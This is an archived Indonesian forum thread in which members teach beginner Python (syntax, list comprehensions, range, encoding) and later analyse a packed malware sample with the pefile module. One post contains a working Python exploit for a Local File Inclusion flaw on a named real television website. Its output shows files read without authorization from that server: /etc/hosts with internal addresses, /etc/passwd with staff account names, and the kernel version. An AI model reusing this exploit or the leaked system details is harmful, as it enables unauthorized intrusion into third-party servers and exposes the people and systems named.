PDA

View Full Version : Belajar bahasa pemrograman Python


anvie
10-04-2009, 11:21 PM
Yang mau bertanya-tanya tentang bahsa python tanyain di sini, Insya Allah kalo bisa pasti akan saya jawab :).

Untuk yg masih pemula mengenai bahasa pemrograman python berikut sedikit keterangan singkatnya:

1. Pengenalan bahasa pemrograman Python


Python adalah bahasa pemrograman tingkat tinggi untuk berbagai keperluan, didesain secara khusus agar mudah dibaca, dipahami, dan digunakan. Python merupakan bahasa scripting yang simpel tapi powerfull dengan sintak yang sangat elegan dan cantik tidak kalah cantiknya dengan Ruby (http://www.ruby-lang.org/id/).
Selain itu yang menjadi bahasa pemrograman ini keren adalah sifatnya yg extensible, dan banyak sekali module dan librarynya yg bisa digunakan sesuai kebutuhan kita.



2. Cara penulisan syntax (Coding convention)



Apabila Anda adalah seorang programmer yg sudah terbiasa dengan bahasa pemrograman C, C++, Java dkk. mungkin akan sedikit surprise, karena aturan penulisan sintak pada Python sangat berbeda, kebanyakan bahasa pemrograman menggunakan delimiter blok, sebagai contoh pada bahasa pemrograman C, C++, dan Java delimiter blok menggunakan tanda kurung kurawal '{}', contoh:

int main(int argc, char** argv)
{
return 0;
}

Begitu juga pada bahasa pemrograman prosedural, seperti Delphi, menggunakan blok BEGIN dan END.

Sedangkan Python menggunakan indentation blok yg biasanya menggunakan tab sebagai delimiternya, contoh:


def main():
return 0


tidak boleh ditulis:


def main():
return 0

anvie
10-04-2009, 11:36 PM
Seperti sudah menjadi standar umum dalam mempelajari suatu bahasa pemrograman baru, maka cara yg paling mudah untuk dipahami adalah dengan membuat program sederhana yg hanya menampilkan teks saja, dan nge-trend dengan istilah Hello World.

buatlah file baru dengan nama helloworld.py, lalu tulislah sintak berikkut:



print "Hello world"

simpel banget kan?

sekarang jalankan file tersebut dengan cara mengetikkan pada jendela konsol:

python helloworld.py

TIPS:

kamu bisa menjalankan-nya tanpa perlu memanggil aplikasi python, dengan cara menuliskan tanda berupa tempat dimana eksekutabel python diletakkan pada bagian paling awal file, contoh:

modifikasilah isi file helloworld.py sehingga menjadi:


#!/usr/local/bin/python

print "Hello world"

nah sekarang cara menjalankannya lebih simpel:

helloworld.py

lebih simpel kan?

oia, arti tulisan '#!/usr/local/bin/python' adalah sebagai penanda dimana lokasi eksekutabel (interpreter) berada, pada contoh di atas eksekutabel berada pada direktori /usr/local/bin yg dalam hal ini kita ketahui bersama adalah path pada Unix like operating system. nah terus kalo pada Windows gimana? mudah saja, tinggal ganti path tersebut dengan path pada Windows, contoh: '#!C:/Python25/python'.

selesai.

void
10-06-2009, 07:58 AM
saya izin tambah sedikit om :)
cara lain untuk mengetahui secara otomatis letak interpreter python pada OS berbasis *nix bisa seperti ini:
#!/bin/env python
instalasi python pada umumnya sudah disertai dengan library2 yang dapat dimanfaatkan untuk berbagai fungsi. untuk memanfaatkan library2 tersebut, ada berbagai macam cara, dan yang paling umum adalah menggunakan "import Nama_Library". contohnya seperti ini:
#!/bin/env python
import base64

print base64.b64encode("hello world")
sebelum menjalankan script tersebut (pada OS *nix) set dulu sebagai executable dan hasilnya seperti ini:
$ chmod +x test.py && ./test.py
aGVsbG8gd29ybGQ=

oh iya, ada 2 versi python yitu versi 2.x dan 3.x , kedua versi ini memiliki perbedaan, misalnya fungsi print

print "hello world" # python 2.x
print("hello world") # python 3.x menggunakan tanda kurung


sekian dulu, kalau ada yang salah, mohon dikoreksi. terima kasih :)

irzan2010
12-23-2009, 11:16 AM
om anvie, bikin tutorialnya dunk
saya juga lagi belajar python nih

anvie
12-23-2009, 06:59 PM
@irzan: tanya aja apa yang ingin kamu tanyakan di sini, sebisa mungkin akan aku jawab :)

anvie
12-23-2009, 07:10 PM
Python bisa melakukan sesuatu yang unik, seperti single line iteration, ada beberapa metode untuk melakukan single line iteration:

sebelumnya lihat dulu contoh conventional iteration:

>>> x = [1,2,3,4,5,6]
>>> x
[1, 2, 3, 4, 5, 6]
>>> y = []
>>> for z in x:
... y.append(z)
...
>>> y
[1, 2, 3, 4, 5, 6]
kode berikut sama maksudnya dengan di atas tapi iterasinya hanya ditulis dalam satu baris:


>>> x = [1,2,3,4,5,6]
>>> x
[1, 2, 3, 4, 5, 6]
>>> y = [z for z in x]
>>> y
[1, 2, 3, 4, 5, 6]
proses iterasi terjadi pada perintah y = [z for z in x]

cara lain bisa menggunakan fungsi map (fungsi bawaan Python):


>>> x = [1,2,3,4,5,6]
>>> y = map(lambda z: z,x)
>>> y
[1, 2, 3, 4, 5, 6]
Q: Apa kelebihan menggunakan single line iteration dibanding konvensional iteration?

A: Speed, atau kecepatan dalam proses iterasi, karena single line iteration akan diproses oleh native routine dalam python yang ditulis menggunakan bahasa C.

sementara itu dulu, besok2 dilanjut lagi.

happy coding ;)

lynxluna
12-30-2009, 07:08 AM
Python bisa melakukan sesuatu yang unik, seperti single line iteration, ada beberapa metode untuk melakukan single line iteration:
....


Koreksi dikit, yang benar adalah List Comprehension karena ga harus single line.

contohnya

[ x*x\
for \
x \
in some_list]

:-":-":-":-":-"

anvie
12-31-2009, 09:22 PM
@lynxluna: yah..... :P

irzan2010
01-02-2010, 10:00 AM
wah hebat-hebat :pisangdance:
emang dahsyat deh si python ini..


yang saya bingung tuh syntax for sebenarnya "for in" atau "for range" ?

void
02-24-2010, 01:32 PM
wah hebat-hebat :pisangdance:
emang dahsyat deh si python ini..

yang saya bingung tuh syntax for sebenarnya "for in" atau "for range" ?
kalau tidak salah, "for" dalam python fungsinya untuk melakukan iterasi terhadap item dan "range" itu digunakan untuk membuat iterasi menggunakan angka secara berurutan. contoh penggunaannya:
nama = ['anvie','xerion','others']
for siapa in nama:
print(siapa)

----- outputnya -----
anvie
xerion
others
contoh penggunaan range
for angka in range(6):
print(angka)

----- outputnya -----
0
1
2
3
4
5
for angka in range(1,6):
print(angka)

----- outputnya -----
1
2
3
4
5
for angka in range(1,6,2):
print(angka)

----- outputnya -----
1
3
5

void
02-27-2010, 12:54 PM
ini ada contoh kode yang saya buat untuk eksploitasi celah kecil di sebuah situs. kode ini jalan di python v3 n merupakan contoh penggunaan library socket serta base64. semoga bermanfaat

#!/bin/env python
#************************************************* *****************************
# disclaimer: FOR EDUCATIONAL PURPOSE ONLY
# keterangan: python script untuk exploitasi LFI (Local File Inclusion)
# di situs globaltv. scriptnya tidak pakai error handler :p
# script ini dibuat untuk python v3.
# lisensi : WTFPL v2 (http://sam.zoy.org/wtfpl/COPYING)
#************************************************* *****************************

import socket
import base64
import sys

def to_s(b):
# fungsi ini untuk mengubah bytes ke string
return bytes.decode(b)

def to_b(s):
# fungsi ini untuk mengubah string ke bytes
return str.encode(s)

def main():
while True:
# file apa yang ingin dibuka
f = input("[+] filename: ")

# cek apakah user ingin keluar
if f == "exit" or f == "quit": exit()

# buat socket dan koneksi ke situs globaltv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("www.globaltv.co.id", 80))

# kirim request ke server :)
s.send(b"GET /v2/index.php?i=act&r=" + base64.b64encode(to_b(f)) + b" HTTP/1.1\r\nHost: www.globaltv.co.id\r\nConnection: close\r\n\r\n")

# tampilkan respon dari server
while True:
r = s.recv(1024) # terima 1024 bytes
if not r: break # jika tidak ada data, berhenti
print(to_s(r)) # tampilkan data dari server

# tutup socket
s.close()

# entry point
if __name__ == "__main__":
main()


jika dieksekusi, hasil outputnya seperti ini

$./gloit.py
[+] filename: /etc/hosts
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:39:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=9a1e399807b09b99f751f65198e7f34c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 270
Connection: close
Content-Type: text/html
Content-Language: en

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 host-web01 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
192.168.1.26 svn.okezone.com

202.147.200.160 sindikasi.okezone.com

[+] filename: /etc/passwd
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:40:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=01ab62b6b6766eac5f859498af2dc613; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1971
Connection: close
Content-Type: text/html
Content-Language: en

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
n
scd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/s
bin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
oke:x:500:500:okezone:/home/oke:/bin/bash
apache:x:504:505:Apache Server:/dev/null:/bin/false
warno123:x:505:506::/home/warno123:/bin/bash
dadan:x:506:507::/var/www/html/client/unza/shop:/bin/bash
mysql:x:101:102:MySQL server:/var/lib/mysql:/bin/bash
ronald:x:507:508::/home/ronald:/bin/bash
devteam:x:508:509::/home/devteam:/bin/bash
dwi:x:509:510::/home/dwi:/bin/bash
glenn:x:510:511::/home/glenn:/bin/bash
glen:x:511:512::/home/glen:/bin/bash

[+] filename: /proc/version
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:40:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=dffe9143318221d43d5d56ba6f3d55f3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 153
Connection: close
Content-Type: text/html
Content-Language: en

Linux version 2.6.18-128.el5 (mockbuild@hs20-bc1-7.build.redhat.com) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Wed Dec 17 11:41:38 EST 2008

[+] filename: exit

$

anvie
02-27-2010, 10:26 PM
Mantabh banget om void ini. hormat pada om void ^:)^

dewaphobia
03-01-2010, 07:18 PM
minder + sedih ngeliat para dewa coding berkumpul. :disapp:
gk bisa apa2 nih...:hwaaa:

void
03-02-2010, 01:58 AM
Mantabh banget om void ini. hormat pada om void ^:)^
waduh, om anvie bisa aja... :shy:
saya juga hormat sama om anvie :worship:

minder + sedih ngeliat para dewa coding berkumpul. :disapp:
gk bisa apa2 nih...:hwaaa:
jangan gitu dunk bro ;) mari kita belajar sama2 n jadikan forum ansav ini tempat sharing. kalau ada yang kurang jelas, bisa ditanyakan :top:

Koza
03-07-2010, 01:06 PM
habisnya forum vbnya sepi, gak ada pembimbing kayak di python

void
03-24-2010, 08:56 AM
habisnya forum vbnya sepi, gak ada pembimbing kayak di python
saya sengaja ngeracuni pakai python soalnya cross platform bro :p he..he..he..
kalau vb, terlalu bergantung pada satu jenis OS saja :)
btw, python 3.1.2 dan 2.6.5 udah dirilis bro, silakan dikenyot di situsnya (http://python.org/download/) ;)

lynxluna
03-24-2010, 11:19 AM
^
=> sudo port -d upgrade python


HURRAY! DAH BERHASIL PYTHON BARU

void
03-24-2010, 05:10 PM
^
=> sudo port -d upgrade python


HURRAY! DAH BERHASIL PYTHON BARU
gubrax... 1 line to rule the update... :top:
btw, tadi saya sempat ngoprek˛ dikit python 2.x sama 3.x soalnya lagi nyobain hex encode (CMIIW), ada sedikit perbedaan.

kalau di python 2.x kita bisa melakukan ini:
>>> "hello world".encode('hex')
'68656c6c6f20776f726c64'

kalau di python 3.x kita harus melakukannya dengan cara ini (CMIIW):
>>> import binascii
>>> binascii.hexlify(b"hello world")
b'68656c6c6f20776f726c64'

-- atau --

>>> binascii.b2a_hex(b'hello world')
b'68656c6c6f20776f726c64'

dewaphobia
03-25-2010, 12:46 PM
wedew, mas void bisa langsung mengerti :top:

M2R
03-25-2010, 12:57 PM
[OOT]
kok blm ada thread ttg win32 assembly ya? :'(

btw, klo g salah. wkt kita instal immunitydebugger, python terinstal jg deh

void
03-25-2010, 05:39 PM
wedew, mas void bisa langsung mengerti :top:
weks, saya juga baru tahu koq bro. soalnya penasaran karena ada script yg dibuat pakai python 2.x dan ada encode('hex') tadi. akhirnya saya cari padanannya di python 3.x (saya ga sempat coba 2to3) :)

[OOT]
kok blm ada thread ttg win32 assembly ya? :'(

btw, klo g salah. wkt kita instal immunitydebugger, python terinstal jg deh
gmn kl bro aja yang bikin ;) ... btw, saya juga sempat install immunity debugger, ternyata dia pakai python2.5 soalnya dependencynya mengarah ke dll bawaan python2.5 (cmiiw)

cucakrowo122
04-09-2010, 07:08 PM
halo all..
phtyton yg bagus yg versi apa ya buat windows??:-?
n tmpt link nya dimana biar bisa di donlod?
thx's sblumnya

void
04-10-2010, 04:56 AM
halo all..
phtyton yg bagus yg versi apa ya buat windows??:-?
n tmpt link nya dimana biar bisa di donlod?
thx's sblumnya
untuk saat ini, sebaiknya pakai python versi 2.x (pada saat posting ini yg terbaru adalah 2.6.5). soalnya kebanyakan script python dibuat untuk v2.x
untuk download silakan ke situs ini -> http://www.python.org/download/

:)

zicko xtc
04-10-2010, 08:05 PM
wah g ngerti neh:D:pisangdance::o_o:

void
04-11-2010, 06:56 AM
wah g ngerti neh:D:pisangdance::o_o:
gpp bro, mari kita sama2 belajar :)
btw, masih ada hubungannya dengan thread yang ini (http://www.ansav.com/forum/showthread.php?t=655), buat rekan2 ansavers yang tertarik untuk ngoprek PE pakai python bisa download pefile dari link ini
http://code.google.com/p/pefile/downloads/list
pefile is a multi-platform Python module to read and work with Portable Executable (aka PE) files. Most of the information in the PE Header is accessible, as well as all the sections, section's information and data.

pefile requires some basic understanding of the layout of a PE file. Armed with it it's possible to explore nearly every single feature of the file.

Some of the tasks that pefile makes possible are:
Modifying and writing back to the PE image
Header Inspection
Sections analysis
Retrieving data
Warnings for suspicious and malformed values
Packer detection with PEiD’s signatures
PEiD signature generation

biar lebih maknyoss, bisa digabung dengan pydasm , yang bisa di download di situs ini
http://dkbza.org/pydasm.html
contoh situs yang menggunakan modulenya, selain virustotal adalah situs ini
http://utilitymill.com/utility/Exe_Dump_Utility
met ngoprek :)

void
04-17-2010, 08:51 AM
btw, berikut ini contoh penggunaan module pefile yang ada di atas:
(oh iya, pada contoh ini saya menggunakan file "userdb.txt" yg merupakan database PEiD dari situs panda security -- http://research.pandasecurity.com/blogs/images/userdb.txt)

$ python
Python 2.6.5 (r265:79063, Apr 5 2010, 17:45:27)
[GCC 3.4.6] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pefile, peutils
>>> m = pefile.PE('sample-nebula.exe')
>>> s = peutils.SignatureDatabase('/usr/etc/userdb.txt')
>>> p = s.match(m, ep_only = True)
>>> p
['UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser']
>>> m.print_info()
----------Parsing Warnings----------

Suspicious flags set for section 0. Both IMAGE_SCN_MEM_WRITE and IMAGE_SCN_MEM_EXECUTE are set.This might indicate a packed executable.

Suspicious flags set for section 1. Both IMAGE_SCN_MEM_WRITE and IMAGE_SCN_MEM_EXECUTE are set.This might indicate a packed executable.

----------DOS_HEADER----------

[IMAGE_DOS_HEADER]
e_magic: 0x5A4D
e_cblp: 0x90
e_cp: 0x3
e_crlc: 0x0
e_cparhdr: 0x4
e_minalloc: 0x0
e_maxalloc: 0xFFFF
e_ss: 0x0
e_sp: 0xB8
e_csum: 0x0
e_ip: 0x0
e_cs: 0x0
e_lfarlc: 0x40
e_ovno: 0x0
e_res:
e_oemid: 0x0
e_oeminfo: 0x0
e_res2:
e_lfanew: 0xB8

----------NT_HEADERS----------

[IMAGE_NT_HEADERS]
Signature: 0x4550

----------FILE_HEADER----------

[IMAGE_FILE_HEADER]
Machine: 0x14C
NumberOfSections: 0x3
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
PointerToSymbolTable: 0x0
NumberOfSymbols: 0x0
SizeOfOptionalHeader: 0xE0
Characteristics: 0x10F
Flags: IMAGE_FILE_LOCAL_SYMS_STRIPPED, IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LINE_NUMS_STRIPPED, IMAGE_FILE_RELOCS_STRIPPED

----------OPTIONAL_HEADER----------

[IMAGE_OPTIONAL_HEADER]
Magic: 0x10B
MajorLinkerVersion: 0x6
MinorLinkerVersion: 0x0
SizeOfCode: 0xD000
SizeOfInitializedData: 0x1000
SizeOfUninitializedData: 0x28000
AddressOfEntryPoint: 0x35C20
BaseOfCode: 0x29000
BaseOfData: 0x36000
ImageBase: 0x400000
SectionAlignment: 0x1000
FileAlignment: 0x200
MajorOperatingSystemVersion: 0x4
MinorOperatingSystemVersion: 0x0
MajorImageVersion: 0x1
MinorImageVersion: 0x0
MajorSubsystemVersion: 0x4
MinorSubsystemVersion: 0x0
Reserved1: 0x0
SizeOfImage: 0x37000
SizeOfHeaders: 0x1000
CheckSum: 0x0
Subsystem: 0x2
DllCharacteristics: 0x0
SizeOfStackReserve: 0x100000
SizeOfStackCommit: 0x1000
SizeOfHeapReserve: 0x100000
SizeOfHeapCommit: 0x1000
LoaderFlags: 0x0
NumberOfRvaAndSizes: 0x10
DllCharacteristics:

----------PE Sections----------

[IMAGE_SECTION_HEADER]
Name: UPX0
Misc: 0x28000
Misc_PhysicalAddress: 0x28000
Misc_VirtualSize: 0x28000
VirtualAddress: 0x1000
SizeOfRawData: 0x0
PointerToRawData: 0x400
PointerToRelocations: 0x0
PointerToLinenumbers: 0x0
NumberOfRelocations: 0x0
NumberOfLinenumbers: 0x0
Characteristics: 0xE0000080
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Entropy: 0.000000 (Min=0.0, Max=8.0)
MD5 hash: d41d8cd98f00b204e9800998ecf8427e
SHA-1 hash: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA-256 hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4 95991b7852b855
SHA-512 hash: cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83 f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b9 31bd47417a81a538327af927da3e

[IMAGE_SECTION_HEADER]
Name: UPX1
Misc: 0xD000
Misc_PhysicalAddress: 0xD000
Misc_VirtualSize: 0xD000
VirtualAddress: 0x29000
SizeOfRawData: 0xCE00
PointerToRawData: 0x400
PointerToRelocations: 0x0
PointerToLinenumbers: 0x0
NumberOfRelocations: 0x0
NumberOfLinenumbers: 0x0
Characteristics: 0xE0000040
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 7.873026 (Min=0.0, Max=8.0)
MD5 hash: 51d0fdd0a6f8df04a9c7525acfac706b
SHA-1 hash: 3de698397339467ea81f3b64f0383d7e0966f62d
SHA-256 hash: 0c7db28c21656cddfacab2dc10047c63383c9a764f2d183547 946a03926c7009
SHA-512 hash: c347c3e73e4df0b3b90665b856f903852d3ba91cebb5d87bdd d72ce54c4cb195927636a129a76e95c417ec5a8e0f68aebca5 f39ecc9a146a93a8fec52f602506

[IMAGE_SECTION_HEADER]
Name: .rsrc
Misc: 0x1000
Misc_PhysicalAddress: 0x1000
Misc_VirtualSize: 0x1000
VirtualAddress: 0x36000
SizeOfRawData: 0xE00
PointerToRawData: 0xD200
PointerToRelocations: 0x0
PointerToLinenumbers: 0x0
NumberOfRelocations: 0x0
NumberOfLinenumbers: 0x0
Characteristics: 0xC0000040
Flags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Entropy: 2.791166 (Min=0.0, Max=8.0)
MD5 hash: 5cca4deaa4aa42c8f4a1b6bc414b6cab
SHA-1 hash: bdef5440656db66062cae32702cc4ab2c2d6b45f
SHA-256 hash: 85a3657f0443957b83a8c44fb085cc94f6f2d64c11d2312224 b5692d8a425776
SHA-512 hash: 0c69220f6321c6756549430d8f55d25246abfa1a4c3be1c4c6 cf28710723764a99469f23e9e8b26040b0f33e9c9c97eadf6c 878d8268cfb16fc05207189fd5f2

----------Directories----------

[IMAGE_DIRECTORY_ENTRY_EXPORT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_IMPORT]
VirtualAddress: 0x36C90
Size: 0x9C
[IMAGE_DIRECTORY_ENTRY_RESOURCE]
VirtualAddress: 0x36000
Size: 0xC90
[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_SECURITY]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_BASERELOC]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_DEBUG]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_COPYRIGHT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_GLOBALPTR]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_TLS]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_IAT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR]
VirtualAddress: 0x0
Size: 0x0
[IMAGE_DIRECTORY_ENTRY_RESERVED]
VirtualAddress: 0x0
Size: 0x0

----------Version Information----------

[VS_VERSIONINFO]
Length: 0x2E0
ValueLength: 0x34
Type: 0x0

[VS_FIXEDFILEINFO]
Signature: 0xFEEF04BD
StrucVersion: 0x10000
FileVersionMS: 0x10000
FileVersionLS: 0x0
ProductVersionMS: 0x10000
ProductVersionLS: 0x0
FileFlagsMask: 0x0
FileFlags: 0x0
FileOS: 0x4
FileType: 0x1
FileSubtype: 0x0
FileDateMS: 0x0
FileDateLS: 0x0

[VarFileInfo]
Length: 0x44
ValueLength: 0x0
Type: 0x0

[StringFileInfo]
Length: 0x240
ValueLength: 0x0
Type: 0x1

[StringTable]
Length: 0x21C
ValueLength: 0x0
Type: 0x1
LangID: 040904B0

LegalCopyright: 2008
InternalName: mscntfy1
FileVersion: 1.00
CompanyName: Microsoft Corporation
ProductName: SP2 revised
ProductVersion: 1.00
FileDescription: Micorosoft Word Document
OriginalFilename: mscntfy1.exe

----------Imported symbols----------

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk: 0x0
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
ForwarderChain: 0x0
Name: 0x36CE4
FirstThunk: 0x36CCC

KERNEL32.DLL.LoadLibraryA Hint[0]
KERNEL32.DLL.GetProcAddress Hint[0]
KERNEL32.DLL.ExitProcess Hint[0]

[IMAGE_IMPORT_DESCRIPTOR]
OriginalFirstThunk: 0x0
Characteristics: 0x0
TimeDateStamp: 0x0 [Thu Jan 1 00:00:00 1970 UTC]
ForwarderChain: 0x0
Name: 0x36CF1
FirstThunk: 0x36CDC

MSVBVM60.DLL Ordinal[581] (Imported by Ordinal)

----------Resource directory----------

[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x3
Id: [0x3] (RT_ICON)
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x3
OffsetToData: 0x80000028
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
Id: [0x7531]
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x7531
OffsetToData: 0x80000040
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x0
OffsetToData: 0x58
[IMAGE_RESOURCE_DATA_ENTRY]
OffsetToData: 0x360EC
Size: 0x8A8
CodePage: 0x4B0
Reserved: 0x0

Id: [0xE] (RT_GROUP_ICON)
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0xE
OffsetToData: 0x80000068
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
Id: [0x1]
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x1
OffsetToData: 0x80000080
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x0
OffsetToData: 0x98
[IMAGE_RESOURCE_DATA_ENTRY]
OffsetToData: 0x36998
Size: 0x14
CodePage: 0x4B0
Reserved: 0x0

Id: [0x10] (RT_VERSION)
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x10
OffsetToData: 0x800000A8
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
Id: [0x1]
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x1
OffsetToData: 0x800000C0
[IMAGE_RESOURCE_DIRECTORY]
Characteristics: 0x0
TimeDateStamp: 0x4832C815 [Tue May 20 12:46:13 2008 UTC]
MajorVersion: 0x80
MinorVersion: 0x0
NumberOfNamedEntries: 0x0
NumberOfIdEntries: 0x1
[IMAGE_RESOURCE_DIRECTORY_ENTRY]
Name: 0x409
OffsetToData: 0xD8
[IMAGE_RESOURCE_DATA_ENTRY]
OffsetToData: 0x369B0
Size: 0x2E0
CodePage: 0x4B0
Reserved: 0x0

>>>

biar lebih mudah, saya buatkan source sederhana. cukup sesuaikan path "userdb.txt" dengan yang ada di komputer ansavers... :)

#!/usr/bin/env python
import pefile,peutils,sys

def main():
if len(sys.argv) < 2:
print "usage: " + sys.argv[0] + " <file>"
sys.exit(1)
pe = pefile.PE(sys.argv[1])
id = peutils.SignatureDatabase('/usr/etc/userdb.txt')
print "----------Packer/Compiler----------\n\n" + str(id.match(pe, ep_only = True)) + "\n"
pe.print_info()

if __name__=="__main__":
main()

anvie
04-22-2010, 06:04 AM
@void: wah bagus tuh ehehehe, bisa jadi scanner addons di ansav v3, soalnya dah mendukung python scripting untuk plugin-plugin-nya. Great void :top:

void
04-22-2010, 12:25 PM
@void: wah bagus tuh ehehehe, bisa jadi scanner addons di ansav v3, soalnya dah mendukung python scripting untuk plugin-plugin-nya. Great void :top:

wah, makin mantap nih ansav v3 :top:
saya kemarin sempat mikir juga kenapa Ansav ga pake plugin untuk scripting... ternyata udah duluan dipikirkan sama om anvie :top: :top:

rikymaru
06-22-2010, 11:59 AM
para dewa coding apa aja sih perbedaan fungsi di python 2.x dan 3.x itu??
